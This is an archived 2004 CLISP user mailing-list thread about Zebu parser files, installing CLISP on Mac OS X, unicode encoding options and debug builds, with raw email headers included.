bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 29 13:25:05 2004 X-Original-Date: Mon, 29 Mar 2004 15:24:23 -0600 On the CLiki page for Zebu, it says you need to patch clisp to make it work with clisp 2.30. Should I assume that this is still the case? I have gotten zebu _running_ - but it doesn't seem to work. [8]> (zb:zebu-compile-file "~/lisp-systems/zebu/zebu-3.5.5/test/simple.zb") ; Zebu Compiling (Version 3.5.5) ; #P"/Users/arided/lisp-systems/zebu/zebu-3.5.5/test/simple.zb" to #P"/Users/arided/lisp-systems/zebu/zebu-3.5.5/test/simple.tab" Reading grammar from /Users/arided/lisp-systems/zebu/zebu-3.5.5/test/simple.zb WARNING: Compiling with :GRAMMAR "null-grammar". To use the meta grammar use: :GRAMMAR "zebu-mg" in options list! Start symbols is: E *** - READ from #: illegal character #\Sub From jcorneli@math.utexas.edu Mon Mar 29 13:31:05 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B84LZ-0003fW-7E for clisp-list@lists.sourceforge.net; Mon, 29 Mar 2004 13:31:05 -0800 Received: from dell3.ma.utexas.edu ([146.6.139.124]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B84LX-0002WN-5r for clisp-list@lists.sourceforge.net; Mon, 29 Mar 2004 13:31:03 -0800 Received: from linux183.ma.utexas.edu (mail@linux183.ma.utexas.edu [146.6.139.172]) by dell3.ma.utexas.edu (8.11.0.Beta3/8.10.2) with ESMTP id i2TLUXq24421; Mon, 29 Mar 2004 15:30:33 -0600 Received: from jcorneli by linux183.ma.utexas.edu with local (Exim 3.36 #1 (Debian)) id 1B84L3-0003L3-00; Mon, 29 Mar 2004 15:30:33 -0600 To: jcorneli@math.utexas.edu CC: clisp-list@lists.sourceforge.net, rschlatte@ist.tu-graz.ac.at In-reply-to: (message from Joe Corneli on Mon, 29 Mar 2004 15:24:23 -0600) X-all-your-base-are-belong-to-us: You are on the way to destruction. References: Message-Id: From: Joe Corneli X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: does zebu still need to be patched to work with clisp? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 29 13:32:01 2004 X-Original-Date: Mon, 29 Mar 2004 15:30:33 -0600 Nevermind... I just realized what the problem was; each of the .zb files is terminated by a ^Z character; CLISP doesn't care for that. From roland.kaufmann@space.at Tue Mar 30 12:00:01 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B8POy-0000tl-M9 for clisp-list@lists.sourceforge.net; Tue, 30 Mar 2004 12:00:00 -0800 Received: from smmsp.space.at ([212.186.218.201]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B8POy-0007p3-1u for clisp-list@lists.sourceforge.net; Tue, 30 Mar 2004 12:00:00 -0800 X-Beware: http://www.space.at X-Organization: Austrian Aerospace GmbH X-Street: Stachegasse 16, A-1120 Vienna X-Phone: +43-1-80199-0 fax: +43-1-80199-6950 Received: from virus.space.at (fw-dmz [212.186.218.206]) by smmsp.space.at (8.12.10/8.12.10) with ESMTP id i2UJwM5K008931 for ; Tue, 30 Mar 2004 21:58:22 +0200 (MEST) Received: from jupiter.space.at (localhost [127.0.0.1]) by virus.space.at (8.12.8/8.12.8) with ESMTP id i2UJxWP9006459; Tue, 30 Mar 2004 21:59:33 +0200 (MEST) Received: from rosalind.space.at (rosalind [172.27.96.18]) by jupiter.space.at (8.12.10/8.12.10) with ESMTP id i2UJxTt8012916; Tue, 30 Mar 2004 21:59:29 +0200 (MEST) Received: (from kau@localhost) by rosalind.space.at (8.10.2+Sun/8.10.2) id i2UJxTI23530; Tue, 30 Mar 2004 21:59:29 +0200 (MEST) Message-Id: <200403301959.i2UJxTI23530@rosalind.space.at> X-Authentication-Warning: rosalind.space.at: kau set sender to roland.kaufmann@space.at using -f From: roland.kaufmann@space.at Reply-to: roland.kaufmann@space.at To: clisp-list@lists.sourceforge.net X-Spam-Status: No, hits=0.3 required=5.0 tests=NO_REAL_NAME autolearn=no version=2.61 X-Spam-Checker-Version: SpamAssassin 2.61 (1.212.2.1-2003-12-09-exp) on titan X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name Subject: [clisp-list] FORMAT ~G is fine Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 30 12:01:40 2004 X-Original-Date: Tue, 30 Mar 2004 21:59:29 +0200 (MEST) Thank you Sam, I was confused, and CLISP works correctly. Sorry about the noise. In the meantime, I ran make check and the result looks good: RUN-ALL-TESTS: grand total: 0 errors out of 8,769 tests What about the warnings from gcc and the WARN forms? I suppose that (WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" "function" GLOBAL-IN-FENV-P #P"/home/kau/3/src/clisp-2.33/src/compiler.lisp" "top-level") should yield something like DEFUN/DEFMACRO: redefining function GLOBAL-IN-FENV-P in #P"/home/kau/3/src/clisp-2.33/src/compiler.lisp", was defined in top-level shouldn't it? regards Roland From don-sourceforgexx@isis.cs3-inc.com Tue Mar 30 18:33:41 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B8VXw-0002ix-Sa for clisp-list@lists.sourceforge.net; Tue, 30 Mar 2004 18:33:40 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B8VXw-00045h-JA for clisp-list@lists.sourceforge.net; Tue, 30 Mar 2004 18:33:40 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id i2V2PKf25196 for clisp-list@lists.sourceforge.net; Tue, 30 Mar 2004 18:25:20 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforgexx using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16490.11230.303396.538147@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] how to get clisp for MAC OSX ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 30 18:34:01 2004 X-Original-Date: Tue, 30 Mar 2004 18:24:30 -0800 I found something that had "darwin" and PPC in the title. Is that MAC OSX ? When I download it I end up with something similiar to what I expect in unix. The instructions say "make". But where's make? If I get into a shell I don't see any evidence of such a thing. I don't see and cc either. Is this pre built binary stuff only usable by people who download some extensive "development environment" ? How do I get that? Is there a list of what I need? From pascal@informatimago.com Tue Mar 30 22:15:01 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B8Z08-0002xp-Tg for clisp-list@lists.sourceforge.net; Tue, 30 Mar 2004 22:15:00 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B8Z07-0002K1-VK for clisp-list@lists.sourceforge.net; Tue, 30 Mar 2004 22:15:00 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id BD55C586E4; Wed, 31 Mar 2004 08:14:47 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id DD0EA50DFC; Wed, 31 Mar 2004 08:16:09 +0200 (CEST) Message-ID: <16490.25129.769249.343763@thalassa.informatimago.com> To: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] how to get clisp for MAC OSX ? In-Reply-To: <16490.11230.303396.538147@isis.cs3-inc.com> References: <16490.11230.303396.538147@isis.cs3-inc.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 30 22:16:00 2004 X-Original-Date: Wed, 31 Mar 2004 08:16:09 +0200 Don Cohen writes: > I found something that had "darwin" and PPC in the title. > Is that MAC OSX ? > When I download it I end up with something similiar to what > I expect in unix. Not surprizing, since MacOSX IS UNIX! (MacOSX runs on Darwin and Darwin is a FreeBSD derivative). > The instructions say "make". > But where's make? > If I get into a shell I don't see any evidence of such a thing. > I don't see and cc either. > Is this pre built binary stuff only usable by people who > download some extensive "development environment" ? > How do I get that? Is there a list of what I need? You would have to install the Developer tools, provided in separate packages on the MacOSX installation media. -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From don-sourceforgexx@isis.cs3-inc.com Tue Mar 30 22:29:10 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B8ZDq-0005qy-32 for clisp-list@lists.sourceforge.net; Tue, 30 Mar 2004 22:29:10 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B8ZDp-0006L0-Ry for clisp-list@lists.sourceforge.net; Tue, 30 Mar 2004 22:29:09 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id i2V6KdN27703; Tue, 30 Mar 2004 22:20:39 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforgexx using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16490.25399.574954.87171@isis.cs3-inc.com> To: Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] how to get clisp for MAC OSX ? In-Reply-To: <16490.25129.769249.343763@thalassa.informatimago.com> References: <16490.11230.303396.538147@isis.cs3-inc.com> <16490.25129.769249.343763@thalassa.informatimago.com> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 30 22:30:00 2004 X-Original-Date: Tue, 30 Mar 2004 22:20:39 -0800 > You would have to install the Developer tools, provided in separate > packages on the MacOSX installation media. What would go wrong if one person who had installed these tools did the make and let everyone else copy his executable? Given that the default installation seems NOT to include these tools, it seems like that would be a reasonable way to distribute binaries if it works. From pascal@informatimago.com Tue Mar 30 23:33:58 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B8aEX-0007mQ-Vk for clisp-list@lists.sourceforge.net; Tue, 30 Mar 2004 23:33:57 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B8aEX-0002rQ-68 for clisp-list@lists.sourceforge.net; Tue, 30 Mar 2004 23:33:57 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 53C89586E4; Wed, 31 Mar 2004 09:33:49 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id D155D50DF4; Wed, 31 Mar 2004 09:35:10 +0200 (CEST) Message-ID: <16490.29870.535578.228474@thalassa.informatimago.com> To: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] how to get clisp for MAC OSX ? In-Reply-To: <16490.25399.574954.87171@isis.cs3-inc.com> References: <16490.11230.303396.538147@isis.cs3-inc.com> <16490.25129.769249.343763@thalassa.informatimago.com> <16490.25399.574954.87171@isis.cs3-inc.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 30 23:34:09 2004 X-Original-Date: Wed, 31 Mar 2004 09:35:10 +0200 Don Cohen writes: > > You would have to install the Developer tools, provided in separate > > packages on the MacOSX installation media. > > What would go wrong if one person who had installed these tools did > the make and let everyone else copy his executable? > Given that the default installation seems NOT to include these tools, > it seems like that would be a reasonable way to distribute binaries > if it works. Not much. Well, a little more on Darwin\MacOSX than on Linux (the system libraries seem to change a lot between each versions). But the biggest problem is that the user is given a lot of choices at compile-time by clisp: you can choose the modules you compile in, and various other options. You can fetch a compiled binary with fink, but the latest version available is 2.29 while we're at 2.33. Anyway, a computer without a compiler IS NOT a computer. Go and install the developer tools! -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From don-sourceforgexx@isis.cs3-inc.com Wed Mar 31 16:04:59 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B8pha-0007dw-SP for clisp-list@lists.sourceforge.net; Wed, 31 Mar 2004 16:04:58 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B8pha-0004nY-N5 for clisp-list@lists.sourceforge.net; Wed, 31 Mar 2004 16:04:58 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id i2VNuPC06647; Wed, 31 Mar 2004 15:56:25 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforgexx using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16491.23209.572061.377095@isis.cs3-inc.com> To: Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] unicode question In-Reply-To: <16490.29870.535578.228474@thalassa.informatimago.com> References: <16490.11230.303396.538147@isis.cs3-inc.com> <16490.25129.769249.343763@thalassa.informatimago.com> <16490.25399.574954.87171@isis.cs3-inc.com> <16490.29870.535578.228474@thalassa.informatimago.com> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 31 16:05:08 2004 X-Original-Date: Wed, 31 Mar 2004 15:56:25 -0800 Pascal J.Bourguignon writes: > You can fetch a compiled binary with fink, but the latest version > available is 2.29 while we're at 2.33. I eventually managed to do this ... > Anyway, a computer without a compiler IS NOT a computer. > Go and install the developer tools! You imagine it's my computer! Anyhow, it now has a lisp compiler. Now I'm trying to use foreign characers. I see the characters on the screen and can even read and write them on files. But when I ask the length of a string I get 2 x the number of characters, i.e., the number of bytes. Is that the way it's supposed to work? (Or related to 2.29 instead of 2.33 ?) When I ask for individual characters I always get 8 bit characters. From pascal@informatimago.com Wed Mar 31 17:42:14 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B8rDh-00020E-Ly for clisp-list@lists.sourceforge.net; Wed, 31 Mar 2004 17:42:13 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B8rDg-0002ms-Fi for clisp-list@lists.sourceforge.net; Wed, 31 Mar 2004 17:42:13 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 9054F586E4; Thu, 1 Apr 2004 03:42:06 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 4975B38258; Thu, 1 Apr 2004 03:43:27 +0200 (CEST) Message-ID: <16491.29631.213689.842445@thalassa.informatimago.com> To: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] unicode question In-Reply-To: <16491.23209.572061.377095@isis.cs3-inc.com> References: <16490.11230.303396.538147@isis.cs3-inc.com> <16490.25129.769249.343763@thalassa.informatimago.com> <16490.25399.574954.87171@isis.cs3-inc.com> <16490.29870.535578.228474@thalassa.informatimago.com> <16491.23209.572061.377095@isis.cs3-inc.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 LINES_OF_YELLING BODY: A WHOLE LINE OF YELLING DETECTED Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 31 17:43:01 2004 X-Original-Date: Thu, 1 Apr 2004 03:43:27 +0200 Don Cohen writes: > Pascal J.Bourguignon writes: > > You can fetch a compiled binary with fink, but the latest version > > available is 2.29 while we're at 2.33. > I eventually managed to do this ... > > > Anyway, a computer without a compiler IS NOT a computer. > > Go and install the developer tools! > You imagine it's my computer! > Anyhow, it now has a lisp compiler. > > Now I'm trying to use foreign characers. > I see the characters on the screen and can even read and write them > on files. > But when I ask the length of a string I get 2 x the number of > characters, i.e., the number of bytes. Is that the way it's supposed > to work? (Or related to 2.29 instead of 2.33 ?) > When I ask for individual characters I always get 8 bit characters. First, check if clisp 2.29 from fink has been compiled with unicode support: (MEMBER :UNICODE *FEATURES*) shoud not be NIL. Then you should launch clisp with one ore more -E options specifying the encoding(s) you want to use, or set the encoding custom variables: CUSTOM:*PATHNAME-ENCODING* CUSTOM:*DEFAULT-FILE-ENCODING* CUSTOM:*MISC-ENCODING* CUSTOM:*FOREIGN-ENCODING* http://clisp.cons.org/impnotes/clisp.html#opt-enc http://clisp.cons.org/impnotes/encoding.html For example, to work in ISO-8895-1 encoding (no need for unicode support in that case): clisp -ansi -q -K full -m 32M -I -E ISO-8859-1 to work in UTF-8 (unicode) encoding, but with files names encoded in ISO-8859-1: clisp -ansi -q -K full -m 32M -I -E UTF-8 -Efile ISO-8859-1 To read a line from a japanese unix file: (with-open-file (jp-in "japanese.iso2022-jp" :direction :input :external-format (ext:make-encoding :charset charset:ISO-2022-JP :line-terminator :unix)) (print (read-line jp-in))) -- __PASCAL_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From gms@sdf.lonestar.org Thu Apr 01 11:53:06 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B98FJ-0003Qz-FW for clisp-list@lists.sourceforge.net; Thu, 01 Apr 2004 11:53:01 -0800 Received: from ol.freeshell.org ([192.94.73.20] helo=sdf.lonestar.org ident=root) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B98FI-0004ye-Vg for clisp-list@lists.sourceforge.net; Thu, 01 Apr 2004 11:53:01 -0800 Received: from sdf.lonestar.org (IDENT:gms@ukato.freeshell.org [192.94.73.7]) by sdf.lonestar.org (8.12.10/8.12.10) with ESMTP id i31Jqpe2025805 for ; Thu, 1 Apr 2004 19:52:51 GMT Received: (from gms@localhost) by sdf.lonestar.org (8.12.10/8.12.8/Submit) id i31JqpvP018527; Thu, 1 Apr 2004 19:52:51 GMT Message-Id: <200404011952.i31JqpvP018527@sdf.lonestar.org> From: Gene Michael Stover To: clisp-list@lists.sourceforge.net Reply-to: gene@acm.org References: <200403210701.i2L71QtE005519@sdf.lonestar.org> <200403211659.i2LGx3gu020457@sdf.lonestar.org> <200403221741.i2MHf1bO005317@sdf.lonestar.org> <200403221959.i2MJxNhN009431@sdf.lonestar.org> <200403222351.i2MNp9OZ008261@sdf.lonestar.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: installation troubles on RH Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Apr 1 11:54:00 2004 X-Original-Date: Thu, 1 Apr 2004 19:52:51 GMT Hi Sam, I tried the last set of "how to get debug info" instructions. I'm sure I'm following the steps you've given me. I even wiped out the entire clisp-2.33 source directory & unpacked it from the distro again. The script I used is The file of commands for gdb is The total output is Thanks again for your time. gene Reply-to: clisp-list@lists.sourceforge.net From: Sam Steingold Date: Tue, 23 Mar 2004 11:34:51 -0500 > * Gene Michael Stover [2004-03-22 23:51:09 +0000]: > > "go" is the script. instead of CC=g++ ./configure --with-debug build-g-gxx cd build-g-gxx ./makemake --with-dynamic-ffi --verbose debug >Makefile make config.lisp make && make check you need CC=g++ ./configure --with-debug --build build-g-gxx cd build-g-gxx -- Sam Steingold (http://www.podval.org/~sds) running w2k He who laughs last did not get the joke. From 3dsdk.support@amd.com Sat Apr 03 20:28:40 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B9zFQ-0006an-AH for clisp-list@lists.sourceforge.net; Sat, 03 Apr 2004 20:28:40 -0800 Received: from amdext3.amd.com ([139.95.251.6]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1B9zFP-00053D-TY for clisp-list@lists.sourceforge.net; Sat, 03 Apr 2004 20:28:39 -0800 Received: from ssvlgw02.amd.com (ssvlgw02.amd.com [139.95.250.170]) by amdext3.amd.com (8.12.11/8.12.11/AMD) with ESMTP id i344SL7E005996 for ; Sat, 3 Apr 2004 20:28:29 -0800 Received: from 139.95.250.1 by ssvlgw01.amd.com with ESMTP (AMD SMTP Relay (MMS v5.5.3)); Sat, 03 Apr 2004 20:28:01 -0700 Received: from caexmtap.amd.com (caexmtap.amd.com [139.95.53.119]) by amdint.amd.com (8.12.8/8.12.8/AMD) with ESMTP id i344S00G008812 for ; Sat, 3 Apr 2004 20:28:00 -0800 (PST ) Message-ID: <200404040428.i344S00G008812@amdint.amd.com> Received: by caexmtap.amd.com with Internet Mail Service (5.5.2653.19) id ; Sat, 3 Apr 2004 20:27:59 -0800 Received: from ssvldb01.amd.com ([139.95.53.48]) by caexmtap.amd.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13 ) id H3GG7CG1; Sat, 3 Apr 2004 20:27:55 -0800 From: 3dsdk.support@amd.com Reply-to: 3dsdk.support@amd.com To: clisp-list@lists.sourceforge.net Precedence: bulk Auto-Submitted: auto-replied MIME-Version: 1.0 X-Mailer: Kana 6.0 X-WSS-ID: 6C71515B19267-01-01 